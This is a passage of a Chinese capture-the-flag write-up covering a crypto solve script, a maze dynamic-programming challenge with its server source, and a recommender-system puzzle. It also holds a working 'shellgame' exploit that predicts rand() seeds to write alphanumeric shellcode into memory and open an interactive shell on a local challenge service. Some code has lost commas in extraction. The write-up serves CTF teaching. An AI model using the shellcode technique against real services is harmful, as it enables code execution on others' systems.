ct = b64decode(ct)
start = time.time()
rec = solve(C)
end = time.time()
print(end - start)
s = ""
for basis in rec:
    key = sha256(str(basis).encode()).digest()
    aes = AES.new(key, AES.MODE_ECB)
    try:
        pt = aes.decrypt(ct).decode()
        if pt.isprintable():
            print(pt)
            s = pt
    except:
        continue

for basis in rec:
    key = sha256(str(-basis).encode()).digest()
    aes = AES.new(key, AES.MODE_ECB)
    try:
        pt = aes.decrypt(ct).decode()
        if pt.isprintable():
            print(pt)
            s = pt
    except:
        continue
print(io.recvuntil(b"pt = "))
io.sendline(b64encode(s.encode()))
print(io.recvuntil(b"\n"))
io.close()

Misc:

checkin Let's play mazegame:

本来是作为签到题的 但是我的col写成了row 但是不让动态patch 所以公告上的patch给选手带来了很多不便在此表示抱歉

其主要思路就是dp选最大路径

exp:

from pwn import *
import string
from hashlib import sha256
from tqdm import tqdm

r = remote('127.0.0.1'10002)
N = 750
def PoW(r, l):
    r.recvuntil(b'XXXX+')
    nonce = r.recvuntil(b')')[:-1].decode()
    r.recvuntil(b'== ')
    target = r.recvuntil(b'\n')[:-1].decode()
    print(nonce, target)
    dit = string.ascii_letters + string.digits
    for i in tqdm(range(pow(len(dit), l))):
        tmp = i
        res = ''
        for j in range(l):
            res += dit[tmp % len(dit)]
            tmp //= len(dit)
        if sha256((res + nonce).encode()).hexdigest() == target:
            r.sendline(res.encode())
            print()
            print(res)
            return
        
PoW(r, 4)
mat = []
r.recvuntil(b'map of maze:\n')
while 1:
    r.recvuntil(b'[+] ')
    if r.recv(1) != b'c'break
    r.recvuntil(b'ol ')
    i = int(r.recvuntil(b': ')[:-2].decode())
    col = r.recvuntil(b'\n')[:-1].decode().split(' ')
    mat.append([int(x) for x in col])
    
dp = [[0 for j in range(N)] for i in range(N)]
path = [[0 for j in range(N)] for i in range(N)]
for i in range(N): dp[0][i] = mat[0][i]
for i in range(1, N):
    for j in range(N):
        if dp[i][j] < dp[i - 1][j] + mat[i][j]:
            dp[i][j] = dp[i - 1][j] + mat[i][j]
            path[i][j] = j
        if j > 0 and dp[i][j] < dp[i - 1][j - 1] + mat[i][j]: 
            dp[i][j] = dp[i - 1][j - 1] + mat[i][j]
            path[i][j] = j - 1
        if j < N - 1 and dp[i][j] < dp[i - 1][j + 1] + mat[i][j]: 
            dp[i][j] = dp[i - 1][j + 1] + mat[i][j]
            path[i][j] = j + 1
res = max(dp[-1])
idx = dp[-1].index(res)
pathlis = [idx]
for i in range(1, N)[::-1]: 
    pathlis = [path[i][idx]] + pathlis
    idx = path[i][idx]
res = ''
for x in pathlis:
    res += str(x) + ' '
# print(res)
r.recvuntil(b'by only one space):\n[-] ')
r.sendline(res[:-1].encode())
print(r.recvline())

源码:

from random import randint
from hashlib import sha256
import signal
import string
import random
import os

flag = r'flag{test_text}'
mat_size = 750

def question(n = 30):
    res = [[randint(010000for x in range(n)] for y in range(n)]
    return res

def get_max(mat):
    dp = [[0 for x in range(len(mat[0]))] for y in range(len(mat))]
    for i in range(len(mat[0])): dp[0][i] = mat[0][i]
    for i in range(1len(mat)):
        for j in range(len(mat[i])):
            dp[i][j] = max(dp[i][j], dp[i - 1][j] + mat[i][j])
            if j > 0: dp[i][j] = max(dp[i][j], dp[i - 1][j - 1] + mat[i][j])
            if j < len(mat[i]) - 1: dp[i][j] = max(dp[i][j], dp[i - 1][j + 1] + mat[i][j])
    res = max(dp[len(mat) - 1])
    idx = dp[len(mat) - 1].index(res)
    path = [idx]
    for i in range(0len(mat) - 1)[::-1]:
        if idx > 0 and dp[i][idx - 1] + mat[i + 1][idx] == dp[i + 1][idx]: idx -= 1
        elif idx < len(mat[i]) - 1 and dp[i][idx + 1] + mat[i + 1][idx] == dp[i + 1][idx]: idx += 1
        path = [idx] + path
    assert check(mat, path, res)
    return res

def check(mat, path, res):
    try:
        if len(path) != len(mat): return False
        for i in range(1len(path)):
            if abs(path[i] - path[i - 1]) > 1return False
        test = 0
        for i in range(len(mat)): test += mat[i][path[i]]
        return test == res
    except Exception as e:
        return False

BANNER = br'''
       ___           ___           ___           ___                    ___           ___                    ___           ___                    ___           ___     
      |\__\         /\  \         /\  \         /\  \                  /\  \         /\  \                  /\  \         /\  \                  /\  \         /\  \    
      |:|  |       /::\  \        \:\  \       /::\  \                /::\  \       /::\  \                /::\  \       /::\  \                /::\  \       /::\  \   
      |:|  |      /:/\:\  \        \:\  \     /:/\:\  \              /:/\:\  \     /:/\:\  \              /:/\:\  \     /:/\:\  \              /:/\:\  \     /:/\:\  \  
      |:|__|__   /:/  \:\  \       /::\  \   /::\~\:\  \            /:/  \:\  \   /:/  \:\  \            /:/  \:\  \   /:/  \:\  \            /:/  \:\  \   /:/  \:\  \ 
  ____/::::\__\ /:/__/ \:\__\     /:/\:\__\ /:/\:\ \:\__\          /:/__/_\:\__\ /:/__/ \:\__\          /:/__/_\:\__\ /:/__/ \:\__\          /:/__/_\:\__\ /:/__/ \:\__\
  \::::/~~/~    \:\  \  \/__/    /:/  \/__/ \/__\:\ \/__/          \:\  /\ \/__/ \:\  \ /:/  /          \:\  /\ \/__/ \:\  \ /:/  /          \:\  /\ \/__/ \:\  \ /:/  /
   ~~|:|~~|      \:\  \         /:/  /           \:\__\             \:\ \:\__\    \:\  /:/  /            \:\ \:\__\    \:\  /:/  /            \:\ \:\__\    \:\  /:/  / 
     |:|  |       \:\  \        \/__/             \/__/              \:\/:/  /     \:\/:/  /              \:\/:/  /     \:\/:/  /              \:\/:/  /     \:\/:/  /  
     |:|  |        \:\__\                                             \::/  /       \::/  /                \::/  /       \::/  /                \::/  /       \::/  /   
      \|__|         \/__/                                              \/__/         \/__/                  \/__/         \/__/                  \/__/         \/__/    
'''

def proof_of_work():
    random.seed(os.urandom(8))
    proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
    _hexdigest = sha256(proof.encode()).hexdigest()
    print(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}")
    x = input('[+] Plz tell me XXXX: ').encode()
    if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
        return False
    return True

print(BANNER)
if not proof_of_work():
    print(b'[!] Wrong!')
    exit()

mat = question(mat_size)
res = get_max(mat)
print('[+] Welcome my friend!')
print(f'[+] Can you earn ${res} from the $ maze?')
print('[+] You can choose any room as entrance from left, any room as exit from right.')
print('[+] But you can only choose the right, up-right or down-right room to go.')
print('[+] And the top and bottom of this maze is wall, which means YOU SHALL NOT PASS!')
print('[+] Now try your best! There is your map of maze:')
for i in range(len(mat)):
    text = f'col {i}:'
    for x in mat[i]:
        text += f' {x}'
    print(f'[+] {text}')
print('[+] Give me your path, the row number from left to right(split by only one space):')
signal.alarm(1)
data = input('[-] ')
path = [int(x) for x in data.split(' ')]
if check(mat, path, res): print('[+] Wow! Here is your flag: ' + flag)
elseprint('[-] Faster Faster Faster!')

Let's play shellgame:

通过部分序列推断源种子,根据源种子计算得到当前src数组的hex值,然后根据解码后打乱的shellcode爆破得到每一步需要的种子数,覆盖种子将其修改为shellcode即可

另外关于pid取值的部分可以考虑自己写一个相关的程序(比如输出getpid())然后将docker跑起来也能拿到getpid()恒为1

其实感觉估计大多数选手在pwn的部分并没有问题而卡在了关于getpid()这个问题 由于本题归到misc里 我认为遇到这种奇怪的地方最好起个环境 这样就可以知道其相关的值

from pwn import *
from ctypes import *
#io=process('./shellgame')
io=remote('127.0.0.1',11451)
context.arch='amd64'
context.log_level='debug'
libc = ELF('./libc.so.6')
rl = lambda a=False: io.recvline(a)
ru = lambda a, b=True: io.recvuntil(a, b)
rn = lambda x: io.recvn(x)
sn = lambda x: io.send(x)
sl = lambda x: io.sendline(x)
sa = lambda a, b: io.sendafter(a, b)
sla = lambda a, b: io.sendlineafter(a, b)
irt = lambda: io.interactive()
dbg = lambda text=None: gdb.attach(io, text)
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
uu32 = lambda data: u32(data.ljust(4b'\x00'))
uu64 = lambda data: u64(data.ljust(8b'\x00'))
clib = cdll.LoadLibrary("./libc.so.6")
ru("Your lucky number is:\n")
line = io.recvline().decode()
data = line.split(' ')[:-1]

src = []
for i in data:
    src.append(int(i[2:]))
for i in range(len(src)):
    if src[i] < 0:
        src[i] = 0x100 + src[i]
seed = 0
for i in range(0x101):
    clib.srand(i)
    flag = 0
    for j in range(10):
        t = clib.rand() % 0x100
        if t != src[j]:
            flag = 1
            break

    if flag == 0:
        seed = i
        break
src = [0 for i in range(161)]
clib.srand(seed)
for i in range(161):
    src[i] = clib.rand() % 0x100

seedlist = []
#shellcode = "W828Rvj8jf9zfYWj3hzZR9HR8ZYTT5ik0ZC839i3TjAiZTCRTiW88Bj0itY4Wfe99YoT08PTbfAf88i038sCWYfstX119TX00ZUtnYDSPZTJTX00TTA0AnmTYAjKT090T4iWjYH80iY1W"
shellcode="W828Rvj8jf9zfYWj3hzZR9HR8ZYTT5ik0ZC839i3TjAiZTCRTiW88Bj0itY4Wfe99YoT08PTbfAf88i038sCWYfstX119TX00ZUtnYDSPZTJTX00TTA0AnmTYAjKT090T4iWjYH80iY1W"
des=[]
for i in range(len(shellcode)+1):
    if i!=len(shellcode):
        des.append(hex(ord(shellcode[i])))
    else:
        des.append(hex(0))

print(des)
des=[]
for i in range(len(shellcode)+1):
    if i!=len(shellcode):
        des.append(ord(shellcode[i]))
    else:
        des.append(0)
for i in range(len(shellcode)+1):
    t = des[i] - src[i]
    if t < 0:
        t += 0x100
    for j in range(0x2000):
        clib.srand(j)
        if clib.rand() % 0x100 == t:
            seedlist.append(j)
            break
    src[i + 1] = (src[i + 1] + clib.rand() % 0x100) % 0x100
    src[i + 2] = (src[i + 2] + clib.rand() % 0x100) % 0x100
print(seedlist)

def add(idx,seed):
    sa('> ',str(1).ljust(0x10,'\x00')+p32(seed))
    sa('> ',str(idx).ljust(0x14,'\x00'))
for i in range(1,len(seedlist)+1):
    add(i,seedlist[i-1])
io.send(str(4).ljust(0x14,'\x00'))

io.interactive()

Shop:

您可以通过下列交互获得一系列提示:

  1. 1. input a name more than 50 ascii--> Sorry, you are not me or your name is too long but I can call you Bob ^_^ I guess you are cute, so here is a tip: Do not eat too much 1da!!!

  2. 2. input a non-numeric(such as 'A') when buy goods-->What? Sorry, you can not buy anything today. This may affect your membership(A month of continuous shopping)

  3. 3. buy 10 1da-->You eat too much 1da and You triggered the hidden task: Get membership!

  4. 4. buy another 20 banana priced 1-->Dear Membership Bob I will show you my Recommendation system. It contains A super AI and I test it myself! But before I show that, what about a easy game? Your answer is(Y/N):

您将得到一个用户商品评级矩阵,并被要求为第一行部分修复这些零。最后的答案是由第一行数字组成的字符串的md5值。

Great! You like it!
Here is the game, please find my score(integer) to those goods which have 0 score:
beginmatrix
[[40, 0, 0, 41, 42, 0, 30, 43, 0, 34, 32, 0, 32, 0], [31, 26, 38, 32, 27, 12, 21, 34, 22, 28, 23, 33, 23, 19], [21, 26, 28, 22, 31, 22, 19, 22, 30, 16, 21, 13, 21, 29], [19, 24, 27, 23, 26, 13, 15, 22, 24, 18, 23, 22, 23, 21], [37, 44, 51, 43, 48, 25, 29, 42, 44, 34, 41, 40, 41, 39], [29, 40, 42, 35, 45, 26, 25, 33, 43, 26, 37, 29, 37, 39], [24, 28, 32, 26, 32, 20, 20, 26, 30, 20, 24, 20, 24, 28], [32, 30, 41, 35, 31, 13, 22, 36, 26, 30, 28, 37, 28, 22]]
endmatirx
where row stand for user and col stand for goods
The good and user embedding dim are both 3!
The flag is md5(first row)
Example: if the first row is [14 13  9 22 20 25 14 27 20 15 19 10 32 21] md5(141392220251427201519103221)==59d25d2c3cc2bb1d27f550329d35f5a5
So, the answer is 59d25d2c3cc2bb1d27f550329d35f5a5
Now, what is your answer?

您可以使用矩阵分解算法轻松解决这一挑战。矩阵分解算法是推荐系统中一种经典的算法。由于用户和商品的embedding维度已被提示为3,因此可以直接使用矩阵分解算法来获得最终结果,而无需对维度大小进行暴力搜索。

exp

#This exp references the link https://blog.csdn.net/weixin_43164078/article/details/124278175 implementation
from pwn import *
from math import *
import numpy as np
import hashlib
import ast

context.log_level= 'debug'

def MF(R,P,Q,K,aplha,beta,steps):
    '''
    :param R: user-item rating matrix m*n
    :param P: user's decomposition matrix m*k
    :param Q: item's tap matrix m*k
    :param K: dimension of the hidden vector
    :param aplha: learning rate
    :param beta: regularization parameter
    :param steps:
    :return:
    '''

    print('Start decomposing the original matrix')
    Q=Q.T
    result=[]
    #Start training Update parameters Calculate loss
    #Update parameters using gradient descent
    print('Start Training')
    for step in range(steps):
        ''''''
        for i in range(len(R)):
            for j in range(len(R[i])):
                eij=R[i][j]-np.dot(P[i,:],Q[:,j])
                for k in range(K):
                    if R[i][j]>0:
                        #update parameters
                        P[i][k]=P[i][k]+aplha*(2*eij*Q[k][j]-beta*P[i][k])
                        Q[k][j]=Q[k][j]+aplha*(2*eij*P[i][k]-beta*Q[k][j])
        eR=np.dot(P,Q)
        #Calculate the loss value
        e=0
        for i in range(len(R)):
            for j in range(len(R[i])):
                if R[i][j] > 0:
                    e = e + pow(R[i][j] - np.dot(P[i, :], Q[:, j]), 2
                    for k in range(K):
                        e = e + (beta / 2) * (pow(P[i][k], 2) + pow(Q[k][j], 2))  
        result.append(e)
        if e < 0.001:
            break
    print('Training Finshed')

    return P, Q.T, result

r=remote("127.0.0.1",11409)
r.recvuntil(b'May I know your name(**less than 50 ascii**), please?')
r.sendline(b'Bob')
for i in range(10):
    r.recvuntil(b'Please input your good number:')
    r.sendline(b'0')
for i in range(20):
    r.recvuntil(b'Please input your good number:')
    r.sendline(b'3')
r.recvuntil(b'Your answer is(Y/N):')
r.sendline('Y')
r.recvuntil(b'beginmatrix\n')
R=r.recvline().decode().replace(' ','').replace('\n','')
R=np.array(ast.literal_eval(R))
N,M,K=8,14,3
P=np.random.rand(N,K)
Q=np.random.rand(M,K)
nP,nQ,result=MF(R,P,Q,K,aplha=0.0002,beta=0.02,steps=5000)
R_MF=np.dot(nP,nQ.T)
md5str=''
for i in range(M):
    md5str+=str(round(R_MF[0][i]))
md5hash=hashlib.md5(md5str.encode())
md5=md5hash.hexdigest()
r.recvuntil(b'Now, what is your answer?')
r.sendline(md5)
flag=r.recvline()
print(bytes.decode(flag))
r.interactive()


文章来源: http://mp.weixin.qq.com/s?__biz=MzI2MDE4MzkzMQ==&mid=2247484521&idx=1&sn=8f5119a0cd930ce5355a6b0c9446e182&chksm=ea6cc67ddd1b4f6bdb0651408a5d03c539c65d84050519c9eb35308833357bb8c55e8c11cfb5#rd
如有侵权请联系:admin#unsafe.sh